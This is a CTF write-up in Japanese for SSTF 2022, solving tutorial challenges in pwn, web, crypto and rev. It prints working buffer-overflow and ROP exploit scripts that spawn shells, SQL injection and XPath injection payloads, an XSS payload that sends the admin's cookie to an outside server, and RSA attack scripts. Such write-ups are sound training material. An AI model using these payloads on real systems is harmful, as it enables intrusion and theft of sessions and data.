この大会は2022/8/22 15:00(JST)~2022/8/23 15:00(JST)に開催されました。
今回もチームで参戦。結果は848点で1075チーム中69位でした。
自分で解けた問題をWriteupとして書いておきます。
Practice: Flag Submission (Tutorial, Misc)
問題にフラグが書いてあった。
SCTF{It_15_tim3_t0_hack!!}
BOF 101 (Tutorial, pwn)
$ file bof101 bof101: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=13ced886aca676ec6ce7c7da946e316e1858594e, for GNU/Linux 3.2.0, with debug_info, not stripped
checkの値を同じ値で上書きして、BOFでprintflag関数をコールする。
#!/usr/bin/env python3 from pwn import * if len(sys.argv) == 1: p = remote('bof101.sstf.site', 1337) else: p = process('./bof101') data = p.recvline().rstrip().decode() print(data) printflag_addr = int(data.split(' ')[-1], 16) payload = b'A' * 140 payload += p32(0xdeadbeef) payload += b'A' * 8 payload += p64(printflag_addr) data = p.recvuntil(b': ').decode() print(data, end='') print(payload) p.sendline(payload) data = p.recvline().rstrip().decode() print(data)
実行結果は以下の通り。
[+] Opening connection to bof101.sstf.site on port 1337: Done printflag()'s addr: 0x555555555229 What is your name? : b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xef\xbe\xad\xdeAAAAAAAA)RUUUU\x00\x00' SCTF{n0w_U_R_B0F_3xpEr7} [*] Closed connection to bof101.sstf.site port 1337
SCTF{n0w_U_R_B0F_3xpEr7}
BOF 102 (Tutorial, pwn)
$ file bof102 bof102: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=38810cd90b5196405a95cd65c75da98f02cf4a7a, not stripped
main関数でsystem関数を使っているので、BOFでsystem("/bin/sh")をコールするようにする。
$ objdump -d -M intel bof102 : : 0804851b <bofme>: 804851b: 55 push ebp 804851c: 89 e5 mov ebp,esp 804851e: 83 ec 10 sub esp,0x10 8048521: 68 70 86 04 08 push 0x8048670 8048526: e8 a5 fe ff ff call 80483d0 <puts@plt> 804852b: 83 c4 04 add esp,0x4 804852e: 68 82 86 04 08 push 0x8048682 8048533: e8 78 fe ff ff call 80483b0 <printf@plt> 8048538: 83 c4 04 add esp,0x4 804853b: a1 2c a0 04 08 mov eax,ds:0x804a02c 8048540: 50 push eax 8048541: e8 7a fe ff ff call 80483c0 <fflush@plt> 8048546: 83 c4 04 add esp,0x4 8048549: 68 34 a0 04 08 push 0x804a034 804854e: 68 8a 86 04 08 push 0x804868a 8048553: e8 a8 fe ff ff call 8048400 <__isoc99_scanf@plt> 8048558: 83 c4 08 add esp,0x8 804855b: 68 34 a0 04 08 push 0x804a034 8048560: 68 8f 86 04 08 push 0x804868f 8048565: e8 46 fe ff ff call 80483b0 <printf@plt> 804856a: 83 c4 08 add esp,0x8 804856d: 68 9b 86 04 08 push 0x804869b 8048572: e8 59 fe ff ff call 80483d0 <puts@plt> 8048577: 83 c4 04 add esp,0x4 804857a: 68 b9 86 04 08 push 0x80486b9 804857f: e8 2c fe ff ff call 80483b0 <printf@plt> 8048584: 83 c4 04 add esp,0x4 8048587: a1 2c a0 04 08 mov eax,ds:0x804a02c 804858c: 50 push eax 804858d: e8 2e fe ff ff call 80483c0 <fflush@plt> 8048592: 83 c4 04 add esp,0x4 8048595: 8d 45 f0 lea eax,[ebp-0x10] 8048598: 50 push eax 8048599: 68 bd 86 04 08 push 0x80486bd 804859e: e8 5d fe ff ff call 8048400 <__isoc99_scanf@plt> 80485a3: 83 c4 08 add esp,0x8 80485a6: 8d 45 f0 lea eax,[ebp-0x10] 80485a9: 50 push eax 80485aa: 68 c0 86 04 08 push 0x80486c0 80485af: e8 fc fd ff ff call 80483b0 <printf@plt> 80485b4: 83 c4 08 add esp,0x8 80485b7: 68 ca 86 04 08 push 0x80486ca 80485bc: e8 0f fe ff ff call 80483d0 <puts@plt> 80485c1: 83 c4 04 add esp,0x4 80485c4: 90 nop 80485c5: c9 leave 80485c6: c3 ret : :
nameのアドレスは0x804a034。nameに"/bin/sh"を入力し、system関数を呼び出すときにこのアドレスを指定すればよい。
#!/usr/bin/env python3 from pwn import * if len(sys.argv) == 1: p = remote('bof102.sstf.site', 1337) else: p = process('./bof102') elf = ELF('./bof102') bin_sh = '/bin/sh' name_addr = 0x804a034 system_addr = elf.symbols['system'] data = p.recvline().rstrip().decode() print(data) data = p.recvuntil(b'> ').decode() print(data + bin_sh) p.sendline(bin_sh.encode()) data = p.recvline().rstrip().decode() print(data) payload = b'A' * 20 payload += p32(system_addr) payload += b'A' * 4 payload += p32(name_addr) data = p.recvuntil(b'> ').decode() print(data, end='') print(payload) p.sendline(payload) p.interactive()
実行結果は以下の通り。
[+] Opening connection to bof102.sstf.site on port 1337: Done [*] '/mnt/hgfs/Shared/bof102' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Welcome to BOF 102! What's your name? Name > /bin/sh Hello, /bin/sh. Do you wanna build a snowman? > b'AAAAAAAAAAAAAAAAAAAA\xe0\x83\x04\x08AAAA4\xa0\x04\x08' [*] Switching to interactive mode $ ls Makefile bin bof102 bof102.c check.py ex.py flag lib lib64 $ cat flag SCTF{5t4ck_c4n4ry_4nd_ASLR_4nd_PIE_4re_l3ft_a5_h0m3wOrk}
SCTF{5t4ck_c4n4ry_4nd_ASLR_4nd_PIE_4re_l3ft_a5_h0m3wOrk}
BOF 103 (Tutorial, pwn)
$ file bof103 bof103: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=25e1d2eb3479b079dd8ee138d271ecf6f1e321d2, not stripped
BOFでROPを使って、system("/bin/sh")を実行する。その際、usemeを使って"/bin/sh"のアドレスを取得する。
$ ROPgadget --binary bof103 --re "pop rdi" Gadgets information ============================================================ 0x00000000004007b3 : pop rdi ; ret Unique gadgets found: 1 $ ROPgadget --binary bof103 --re "pop rsi" Gadgets information ============================================================ 0x0000000000400740 : add byte ptr [rbp - 0x3d], bl ; push rbp ; mov rbp, rsp ; pop rsi ; ret 0x0000000000400745 : mov ebp, esp ; pop rsi ; ret 0x0000000000400744 : mov rbp, rsp ; pop rsi ; ret 0x00000000004007b1 : pop rsi ; pop r15 ; ret 0x0000000000400747 : pop rsi ; ret 0x0000000000400743 : push rbp ; mov rbp, rsp ; pop rsi ; ret Unique gadgets found: 6 $ objdump -d -M intel bof103 | grep key 4006bb: 48 89 05 a6 09 20 00 mov QWORD PTR [rip+0x2009a6],rax # 601068 <key>
#!/usr/bin/env python3 from pwn import * if len(sys.argv) == 1: p = remote('bof103.sstf.site', 1337) else: p = process('./bof103') elf = ELF('./bof103') bin_sh = b'/bin/sh\x00' key_addr = 0x601068 useme_addr = elf.symbols['useme'] system_addr = elf.symbols['system'] pop_rdi = 0x4007b3 pop_rsi = 0x400747 payload = b'A' * 24 payload += p64(pop_rdi) payload += bin_sh payload += p64(pop_rsi) payload += p64(1) payload += p64(useme_addr) payload += p64(pop_rdi) payload += p64(key_addr) payload += p64(system_addr) data = p.recvuntil(b'> ').decode() print(data, end='') print(payload) p.sendline(payload) p.interactive()
実行結果は以下の通り。
[+] Opening connection to bof103.sstf.site on port 1337: Done [*] '/mnt/hgfs/Shared/bof103' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Welcome to BOF 103! What's your name? Name > b'AAAAAAAAAAAAAAAAAAAAAAAA\xb3\x07@\x00\x00\x00\x00\x00/bin/sh\x00G\x07@\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xa6\x06@\x00\x00\x00\x00\x00\xb3\x07@\x00\x00\x00\x00\x00h\x10`\x00\x00\x00\x00\x00P\x05@\x00\x00\x00\x00\x00' [*] Switching to interactive mode $ ls bin bof103 flag lib lib64 $ cat flag SCTF{S0_w3_c4ll_it_ROP_cha1n}
SCTF{S0_w3_c4ll_it_ROP_cha1n}
SQLi 101 (Tutorial, Web)
SQLインジェクション。以下のように入力し、ログインすると、フラグが表示された。
USERNAME: admin' -- - PASSWORD: a
SCTF{th3_f1rs7_5t3p_t0_the_w3B_h4ckEr}
SQLi 102 (Tutorial, Web)
SQLインジェクションで、データをリークする。まずUNION SELECTで列のカラム数を調べ、目的のテーブル名、列名、データを取得していく。
・zz' union select 1,2,3,4,5,6,7,8 -- - Search Result # Title Author Price 1 2 3 5 ・zz' union select 1,schema_name,3,4,5,6,7,8 from information_schema.schemata -- - Search Result # Title Author Price 1 information_schema 3 5 2 sqli102 3 5 ・zz' union select 1,table_name,3,4,5,6,7,8 from information_schema.tables where table_schema = 'sqli102' -- - Search Result # Title Author Price 1 books 3 5 2 findme 3 5 ・zz' union select 1,column_name,3,4,5,6,7,8 from information_schema.columns where table_name = 'findme' -- - Search Result # Title Author Price 1 SCTF{ 3 5 2 b451c_SQ 3 5 3 Li_5k 3 5 4 1lls} 3 5
SCTF{b451c_SQLi_5k1lls}
XSS 101 (Tutorial, Web)
Need help?のリンクから「Create a support case」のページを表示する。ここでDescriptionに以下のように記述し、自サーバにAdminのクッキーを送る。
<script>img=new Image(); img.src='https://[自サーバホスト]/?cookie='+document.cookie;</script>
Cookieは以下のようになっていることがわかる。
PHPSESSID=8e2db149076e705cd94d5acc0d8e49d8
このクッキーを設定してリロードするが、特に変化はない。http://xss101.sstf.site/admin.phpにアクセスしたら、フラグが表示された。
SCTF{bl1nd_CR055_s1t3_scr1ptin9_att4ck}
RC four (Tutorial, Crypto)
フラグの暗号と同じ鍵でRC4暗号した平文と暗号文があるので、XORで復号できる。
#!/usr/bin/env python3 from Crypto.Util.strxor import strxor with open('output.txt', 'r') as f: params = f.read().splitlines() ct1 = bytes.fromhex(params[0]) ct2 = bytes.fromhex(params[1]) pt1 = b"RC4 is a Stream Cipher, which is very simple and fast." key = strxor(pt1, ct1) flag = strxor(ct2, key[:len(ct2)]).decode() print(flag)
SCTF{B10ck_c1pH3r_4nd_5tr3am_ciPheR_R_5ymm3tr1c}
RSA 101 (Tutorial, Crypto)
$ nc rsa101.sstf.site 1104 [RSA parameters] n = 0x91dc462b60f9fd947362175c5a4506e4ed6aa446235c2be2a7417d2e4a488d572d5437e416963a680c4af0bf5079efdf1205f028f43fdbb8a8c4c4e11e85ff76578e7b7803aeff00282b933594d658829f90ce7c63e3dce36e2e334c5b1f5e1fb78361db28936676054e059ad00a3670d61807cc85adc57cb6f08942cb269c7b e = 0x10001 Welcome to command signer/executor. Menu : 1. Verify and run the signed command 2. Generate a signed command 3. Base64 encoder 4. Exit > 3 String to encode: id Base64 encoded string: aWQ= Welcome to command signer/executor. Menu : 1. Verify and run the signed command 2. Generate a signed command 3. Base64 encoder 4. Exit > 2 Base64 encoded command to sign: aWQ= Signed command: iEKhArDBwTsQVJFf4Fn7OSoO2bDmQRLOdNYKJ1isN//rlsUGZ4JnlnCdURaHT/kkGTHV0gjwxy/IftYJSqvMS3OnUt80v3gFG8d/WZyHx+yEFowi+9wXvFhmMpZU47fhmKA4ybpkXEhh9lw0/GLdvAdfVuEAwwOizJTGCd6vBEc= Welcome to command signer/executor. Menu : 1. Verify and run the signed command 2. Generate a signed command 3. Base64 encoder 4. Exit > 1 Signed command: iEKhArDBwTsQVJFf4Fn7OSoO2bDmQRLOdNYKJ1isN//rlsUGZ4JnlnCdURaHT/kkGTHV0gjwxy/IftYJSqvMS3OnUt80v3gFG8d/WZyHx+yEFowi+9wXvFhmMpZU47fhmKA4ybpkXEhh9lw0/GLdvAdfVuEAwwOizJTGCd6vBEc= uid=0(root) gid=0(root) groups=0(root) Welcome to command signer/executor. Menu : 1. Verify and run the signed command 2. Generate a signed command 3. Base64 encoder 4. Exit > 3 String to encode: pwd Base64 encoded string: cHdk Welcome to command signer/executor. Menu : 1. Verify and run the signed command 2. Generate a signed command 3. Base64 encoder 4. Exit > 2 Base64 encoded command to sign: cHdk Signed command: ZlYd5qQCHHglR1fd+aiWSywinQgiD3cCp6E8f7fpJuZMnitPc2M9EuITCWtK26Fzx735PMtX5mdO8WUYDeoVeec2IHUJj2eHVEFqMEu/tiDZ8HSKO3cJUEBw+KzDoVpShpFSlLVoL+J1FU9xQbQhYSAxxTJVL2+UVFK7y/VezOw= Welcome to command signer/executor. Menu : 1. Verify and run the signed command 2. Generate a signed command 3. Base64 encoder 4. Exit > 1 Signed command: ZlYd5qQCHHglR1fd+aiWSywinQgiD3cCp6E8f7fpJuZMnitPc2M9EuITCWtK26Fzx735PMtX5mdO8WUYDeoVeec2IHUJj2eHVEFqMEu/tiDZ8HSKO3cJUEBw+KzDoVpShpFSlLVoL+J1FU9xQbQhYSAxxTJVL2+UVFK7y/VezOw= / Welcome to command signer/executor. Menu : 1. Verify and run the signed command 2. Generate a signed command 3. Base64 encoder 4. Exit > 3 String to encode: ls -l Base64 encoded string: bHMgLWw= Welcome to command signer/executor. Menu : 1. Verify and run the signed command 2. Generate a signed command 3. Base64 encoder 4. Exit > 2 Base64 encoded command to sign: bHMgLWw= Signed command: sRgxoPclDadIa3tlI0AifKCAAoR8ysrEt9RReNHiMh0mSP8bf3sipE5P/0L8yv1WKSV4A9BhVhOs0Cv0Ln1c2mfgBsAeYXGlY1AN8WUR1Zj9MJChhez60zVUmmHWkn145IBlX1p52wfHOHNoOCMozuFOZtUXtbvKpSR9jVNg4w== Welcome to command signer/executor. Menu : 1. Verify and run the signed command 2. Generate a signed command 3. Base64 encoder 4. Exit > 1 Signed command: sRgxoPclDadIa3tlI0AifKCAAoR8ysrEt9RReNHiMh0mSP8bf3sipE5P/0L8yv1WKSV4A9BhVhOs0Cv0Ln1c2mfgBsAeYXGlY1AN8WUR1Zj9MJChhez60zVUmmHWkn145IBlX1p52wfHOHNoOCMozuFOZtUXtbvKpSR9jVNg4w== total 72 drwxr-xr-x 1 root root 4096 Aug 21 03:51 bin drwxr-xr-x 2 root root 4096 Jun 30 21:35 boot drwxr-xr-x 5 root root 340 Aug 21 03:51 dev drwxr-xr-x 1 root root 4096 Aug 21 03:51 etc -rw-rw-r-- 1 root root 36 Aug 21 03:21 flag drwxr-xr-x 1 root root 4096 Aug 21 03:51 home drwxr-xr-x 1 root root 4096 Aug 3 10:26 lib drwxr-xr-x 2 root root 4096 Aug 1 00:00 lib64 drwxr-xr-x 2 root root 4096 Aug 1 00:00 media drwxr-xr-x 2 root root 4096 Aug 1 00:00 mnt drwxr-xr-x 2 root root 4096 Aug 1 00:00 opt dr-xr-xr-x 256 root root 0 Aug 21 03:51 proc drwx------ 1 root root 4096 Aug 21 03:51 root drwxr-xr-x 1 root root 4096 Aug 21 03:51 run drwxr-xr-x 2 root root 4096 Aug 1 00:00 sbin drwxr-xr-x 2 root root 4096 Aug 1 00:00 srv -rwxrwx--- 1 root root 53 Aug 21 03:21 start.sh dr-xr-xr-x 13 root root 0 Aug 21 03:51 sys drwxrwxrwt 1 root root 4096 Aug 21 03:51 tmp drwxr-xr-x 1 root root 4096 Aug 1 00:00 usr drwxr-xr-x 1 root root 4096 Aug 1 00:00 var Welcome to command signer/executor. Menu : 1. Verify and run the signed command 2. Generate a signed command 3. Base64 encoder 4. Exit >
サーバの処理概要は以下の通り。
・p, q: 512ビット素数 ・n = p * q ・e = 65537 ・d = pow(e, -1, (p - 1) * (q - 1)) ・n, e表示 ・以下繰り返し ・sel: 入力 ・selが"1"の場合 ・sgn: 入力(base64) ・sgn: sgnをbase64デコード ・cmd = verify(sgn) ・s: sgnの数値化 ・v = pow(s, e, n) ・vの文字列化したものを返却 ・commands = ["ls -l", "pwd", "id", "cat flag"] ・cmdがcommandsの一つの場合、コマンドを実行 ・selが"2"の場合 ・cmd: 入力(base64) ・cmd: cmdをbase64デコード ・cmdがb"cat flag"の場合NG ・sign(cmd)のbase64文字列を表示 ・m: cmdの数値化 ・s = pow(m, d, n) ・sの文字列化したものを返却 ・selが"3"の場合 ・cmd: 入力 ・cmdをbase64エンコードしたものを表示 ・selが"4"の場合 ・終了
"cat flag"の数値を因数分解し、積として表し、それぞれsignしたものの積が"cat flag"のsignになる。
#!/usr/bin/env python3 import socket from base64 import * from Crypto.Util.number import * def recvuntil(s, tail): data = b'' while True: if tail in data: return data.decode() data += s.recv(1) cmd = 'cat flag' i_cmd = bytes_to_long(cmd.encode()) for i in range(2, 128): if i_cmd % i == 0: i_cmd1 = i i_cmd2 = i_cmd // i break cmd1 = long_to_bytes(i_cmd1) cmd2 = long_to_bytes(i_cmd2) b64_cmd1 = b64encode(cmd1).decode() b64_cmd2 = b64encode(cmd2).decode() s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('rsa101.sstf.site', 1104)) data = recvuntil(s, b'\n').rstrip() print(data) data = recvuntil(s, b'\n').rstrip() print(data) n = int(data.split(' ')[-1], 16) data = recvuntil(s, b'\n').rstrip() print(data) e = int(data.split(' ')[-1], 16) data = recvuntil(s, b'> ') print(data + '2') s.sendall(b'2\n') data = recvuntil(s, b': ') print(data + b64_cmd1) s.sendall(b64_cmd1.encode() + b'\n') data = recvuntil(s, b'\n').rstrip() print(data) sigend_cmd1 = bytes_to_long(b64decode(data.split(' ')[-1])) data = recvuntil(s, b'> ') print(data + '2') s.sendall(b'2\n') data = recvuntil(s, b': ') print(data + b64_cmd2) s.sendall(b64_cmd2.encode() + b'\n') data = recvuntil(s, b'\n').rstrip() print(data) sigend_cmd2 = bytes_to_long(b64decode(data.split(' ')[-1])) signed_cmd = (sigend_cmd1 * sigend_cmd2) % n signed_cmd = b64encode(long_to_bytes(signed_cmd)).decode() data = recvuntil(s, b'> ') print(data + '1') s.sendall(b'1\n') data = recvuntil(s, b': ') print(data + signed_cmd) s.sendall(signed_cmd.encode() + b'\n') data = recvuntil(s, b'\n').rstrip() print(data)
実行結果は以下の通り。
[RSA parameters] n = 0xceb7f3eb68b629a4de5136a2c6ed81d35c2c9c54b96fa0dd61fb3a8a7089fc094b05be3a8f323dedde6636bdd321d065a8bebd2df978fdd1bce9b5b401fb3bec73480778bed49d45ffd2ac2aa3079ad6fc085f3a99f010c6e22ac377a1624612d5948fd0806a4e5a7217d9c68381479d540749359188d9c97f6a1ffbe73f2913 e = 0x10001 Welcome to command signer/executor. Menu : 1. Verify and run the signed command 2. Generate a signed command 3. Base64 encoder 4. Exit > 2 Base64 encoded command to sign: Zw== Signed command: cfNZhUCMzc2vBvkcGEgpqNZBOLXsGQpj5bq3mT9kTwny751XrUdbNbow79hgF2FolgA66AdWBAB3PNGiiXVJpVLWsjFyTsVtU040VEMA2dMipuAr3bpXS6KFuDHyMxxWQr4GTc6g4QN7OkOYjJpWD3ps2vJu+gfieP7PpaIdrVA= Welcome to command signer/executor. Menu : 1. Verify and run the signed command 2. Generate a signed command 3. Base64 encoder 4. Exit > 2 Base64 encoded command to sign: 9wEgoA/3AQ== Signed command: Glm/FTLzA738ptT7a+teYBXXnfln2yg5ui9xtC9AOTfH9/Ue4dshUTy+X4XOdmxp+3HOXOSfKUAaY43qhdTJxhYYjRMp+d6DMXnLZdU04bG9oSLbN7wrse5sCK5Qd+53VXFsFw3RGJaNg+6yCg4dcObrVpPTDKd04PYHbvGwTDQ= Welcome to command signer/executor. Menu : 1. Verify and run the signed command 2. Generate a signed command 3. Base64 encoder 4. Exit > 1 Signed command: BewZQFeB/iOzQ1OiGWQpUCK3aXvxjtKkJbWFyHlsZeY0TuoFj/g/fF6ss5acnEbFfZn8DnZPOSNSO5PXyuqk/8qvFnwkQDqFrsyVQWnQgQmz9/Dy/czSQiPuyAm6uifCwsxiONPYQhOZwy4kIflHDIapXZCeKw+Fm6450+z0o6g= SCTF{Mult1pLic4tiv3_pr0perty_of_RSA}
SCTF{Mult1pLic4tiv3_pr0perty_of_RSA}
RSA 102 (Tutorial, Crypto)
暗号の処理概要は以下の通り。
・pubkeys['Alice']: nとe1を設定 ・pubkeys['Bob']: nとe2を設定 ・msg: noticeの数値化 ・pow(msg, e1, n)を出力 ・pow(msg, e2, n)を出力
nが共通でeが異なるもので、同じメッセージを暗号化しているので、Common Modules Attackで復号する。
#!/usr/bin/env python3 import gmpy2 from Crypto.Util.number import * def commom_modulus_attack(c1, c2, e1, e2, n): gcd, s1, s2 = gmpy2.gcdext(e1, e2) if s1 < 0: s1 = -s1 c1 = gmpy2.invert(c1, n) elif s2 < 0: s2 = -s2 c2 = gmpy2.invert(c2, n) v = pow(c1, s1, n) w = pow(c2, s2, n) x = (v*w) % n return x n = 0xd244a731d125aa8cbbccc5aa44b70686b432589d7a472269059055119e258e471df27d0f08c3c5e109829381754745f47b6bb3a5e3cc5a3b63766aa8c929290596de12234c244d6746398cc81f774441946c6d0444ce23ab146c33876cf84dc122eb0d42c4437e969ad8b72fbc399c82abd2e153e8d27dff56f517c5cb980853 e1 = 79 e2 = 61 c1 = 0x55edc128e01d6a94d92482d4136a60c5db5e295aec9c38e4029649bfc42eb350cf3ccdddc101c5a81d1251f9b061fe55b436eaba101b0238db479e795661ad64dd0e04898bdd637d33b15c155d1141e70efc84923c126f7d93582d5783544780c9a29818a8f47bad2e47967f7609aa3e6caabbd153c77def6d20e7ed4ac267a8 c2 = 0xcad43d8d2bcb9ab05133e0923896426544fd8a93e80e0b10efc36019b8a7365390b30530f240b25d3affa6ed03983548fe17f085fe3f04a6bd80aa9093eda484e7c9a120e770000570a2044f7aa6ea5dc25ef082c352205f710b07423160b70f100800d3dedf89843a19208054550f22936fe510e7a98fe1c557b7657abfb77b m = commom_modulus_attack(c1, c2, e1, e2, n) flag = long_to_bytes(m).decode() print(flag)
SCTF{R4ndOm_p4dd1n9_t0_pr3vEnt_RSA_c0mmOn_m0dulu5_a44ack}
Yet Another Injection (Web)
hintページを見ると、それぞれ以下のURLからソースを見ることができる。
<?php session_start(); $username = check_param("username"); $pwd = check_param("pwd"); if (checkUser($username, $pwd)) { $_SESSION["username"] = $username; header("Location: index.php"); } function check_param($var) { if (!isset($_POST[$var]) || $_POST[$var] === "") { return ""; } return trim($_POST[$var]); } function checkUser($username, $pwd) { if (($username === "") || ($pwd === "")) { return false; } $accounts = @file_get_contents("accounts.txt"); if ($accounts === false) { $users = array(); } else { $users = explode("\n", $accounts); } array_push($users, "guest:".hash("sha256", "guest")); $granted = false; foreach ($users as $each) { $info = explode(":",$each); if ( $username === trim($info[0]) && hash("sha256", $pwd) === trim($info[1]) ) { $granted = true; break; } } return $granted; } ?> <!DOCTYPE html> <html lang="en"> <head> <title>Yet Another Injection</title> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@4.6.1/dist/css/bootstrap.min.css" integrity="sha384-zCbKRCUGaJDkqS1kPbPd7TveP5iyJE0EjAuZQTgFLD2ylzuqKfdKlfG/eSrtxUkn" crossorigin="anonymous"> <link rel="stylesheet" href="css/style.css"> </head> <body> <div class="container"> <div class="w-50 mx-auto shadow-lg p-3 my-5 bg-white rounded"> <h1 class="mb-5">Research Paper Repository</h1> <form action="login.php" method="POST"> <label for="username"><b>Username</b></label> <input type="text" placeholder="Enter Username" name="username" required> <br> <label for="pwd"><b>Password</b></label> <input type="password" placeholder="Enter Password" name="pwd" required> <br> <button type="submit">Login</button> </form> <a href="login.php?showsrc=login.php">hint</a> </div> <?php if (isset($_GET['showsrc']) && in_array($_GET['showsrc'], Array('index.php', 'login.php', 'library.php', 'paperdetail.php'), true)) { highlight_file($_GET['showsrc']); } ?> </div> </body> </html>
<?php session_start(); if (!isset($_SESSION["username"])) { header("Location: login.php"); } require_once 'library.php'; $papers = loadPapers('papers.xml'); ?> <!DOCTYPE html> <html lang="en"> <head> <title>Yet Another Injection</title> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@4.6.1/dist/css/bootstrap.min.css" integrity="sha384-zCbKRCUGaJDkqS1kPbPd7TveP5iyJE0EjAuZQTgFLD2ylzuqKfdKlfG/eSrtxUkn" crossorigin="anonymous"> <script src="js/jquery-3.5.1.min.js"></script> <script src="https://cdn.jsdelivr.net/npm/bootstrap@4.6.1/dist/js/bootstrap.bundle.min.js" integrity="sha384-fQybjgWLrvvRgtW6bFlB7jaZrFsaBXjsOMm/tB9LTS58ONXgqbR9W8oWht/amnpF" crossorigin="anonymous"></script> <link rel="stylesheet" href="css/style.css"> </head> <body> <script> function show_detail(idx) { $.getJSON("/paperdetail.php?idx="+idx, function(data) { $('#title').text(data.Title); $('#author').text(data.Author); $('#conference').text(data.Conference); $('#year').text(data.Year); $('#abstract').text(data.Abstract); $("#detailmodal").modal('show'); } ); } </script> <div class="container"> <div class="w-100 shadow-lg p-3 my-5 bg-white rounded"> <h1>Research Paper Repository</h1> <div class="text-right"> <?php echo "<p><b>".$_SESSION["username"]."</b> "; ?> (<a href='logout.php'>Logout</a>)</p> </div> <!-- Modal --> <div class="modal fade bd-example-modal-lg" tabindex="-1" role="dialog" aria-labelledby="myLargeModalLabel" aria-hidden="true" id="detailmodal"> <div class="modal-dialog modal-lg modal-dialog-centered" role="document"> <div class="modal-content"> <div class="modal-header"> <h4 class="modal-title px-5" id="title">Paper Title</h4> </div> <div class="modal-body"> <div class="text-center"> <table border="1" width="90%"> <tr><td width="20%"><b>1st Author</b></td><td colspan="3" id="author"></td></tr> <tr><td width="20%"><b>Conference</b></td><td width="50%" id="conference"></td><td width="20%"><b>Year</b></td><td id="year"></td></tr> </table> </div> <div class="px-5 pt-3"> <h3>Abstract</h3> <p id="abstract"></p> </div> </div> <div class="modal-footer"> <button type="button" class="btn btn-primary" data-dismiss="modal">Close</button> </div> </div> </div> </div> <table class="table"> <thead class="thead-dark"> <tr> <th scope="col">#</th> <th scope="col">Year</th> <th scope="col">Title</th> <th scope="col">1st author</th> </tr> </thead> <tbody> <?php foreach (paperList($papers) as $paper) { $row = array_map( function($tag) use ($paper) {return getFirstChildText($paper, $tag);}, Array('Idx', 'Year', 'Title', 'Author') ); echo "<tr onclick='show_detail({$row[0]});'><th scope='row'>{$row[0]}</th><td>{$row[1]}</td><td>{$row[2]}</td><td>{$row[3]}</td></tr>"; } ?> </tbody> </table> </div> </div> </body> </html>
<?php $_library_file_name = '/db/papers.xml'; function loadPapers() { global $_library_file_name; $xml = new DOMDocument; $xml->load($_library_file_name); return $xml; } function paperList(DomDocument $papers) { $xpath = new DOMXPath($papers); $query = '/Papers/Paper[@published="yes"]'; $paper_list = $xpath->query($query); return $paper_list; } function getFirstChildText(DOMNode $node, string $tag) { return $node->getElementsByTagName($tag)->item(0)->nodeValue; } function getDetail(DomDocument $papers, string $idx) { $xpath = new DOMXPath($papers); $query = "//Paper[Idx/text()='".$idx."' and @published='yes']"; $paper_list = $xpath->query($query); if ($paper_list == false) { return ['status' => 'Error', 'msg' => 'Invalid XPATH expression']; } if ($paper_list->count() == 0) { return ['status' => 'Error', 'msg' => 'No such entity']; } $paper = $paper_list->item(0); return [ 'status' => 'Success', 'Title' => getFirstChildText($paper, 'Title'), 'Author' => getFirstChildText($paper, 'Author'), 'Conference' => getFirstChildText($paper, 'Conference'), 'Year' => getFirstChildText($paper, 'Year'), 'Abstract' => getFirstChildText($paper, 'Abstract') ]; } ?>
<?php session_start(); require_once 'library.php'; $papers = loadPapers('papers.xml'); header("Content-Type:application/json"); if (!isset($_SESSION["username"])) { echo json_encode(['status' => 'Error', 'msg' => 'Forbidden']); } else if(!isset($_GET['idx'])) { echo json_encode(['status' => 'Error', 'msg' => 'Invalid Request']); } else { $idx = $_GET['idx']; $paper = getDetail($papers, $idx); echo json_encode($paper); } ?>
XPath インジェクションが使えそう。
まずguest / guestでログインする。idxが31までは表示されているが、32以降公開されていないものがあるかもしれないので、idxに 32' or 'a'='b を指定する。URLエンコードすると、以下のURLになる。
http://yai.sstf.site/paperdetail.php?idx=32%27%20or%20%27a%27=%27b
アクセスすると、レスポンスは以下のようになった。
{"status":"Success","Title":"KingWangZzang: A super ultra great AEG(Automatic Exploit Generator) for ethical hackers.","Author":"Matta Park (Samsung Research)","Conference":"Samsung Security Wish Forum","Year":"2021","Abstract":"In this paper, we propose KingWangZzang, an AEG(automatic exploit generator) which works for all modern computer platforms. By using KingWangZzang, we can achieve world peace, hopefuuuuuuuly. Unfortunately, we cannot reveal KingWangZzang's internal structure, but this hint will help you: SCTF{W4KE_up_IT's_mOndAy_m0rn1n9_183689c7}"}
SCTF{W4KE_up_IT's_mOndAy_m0rn1n9_183689c7}
DocxArchive (Rev, Misc)
docxをzip解凍すると、word/embeddingsにoleObject1.binが展開される。
$ binwalk oleObject1.doc DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 2651 0xA5B PNG image, 298 x 24, 8-bit/color RGBA, non-interlaced 2742 0xAB6 Zlib compressed data, compressed
PNGを抽出すると、その画像にフラグが書いてあった。
SCTF{Do-y0u-kn0w-01E-4nd-3mf-forM4t?}
CUSES (Crypto, Web)
HTMLソースを見ると以下のようなコメントがある。
<!-- guest account: guest / guestpassword -->
guest / guestpasswordでログインし、[View Source]でソースを見る。
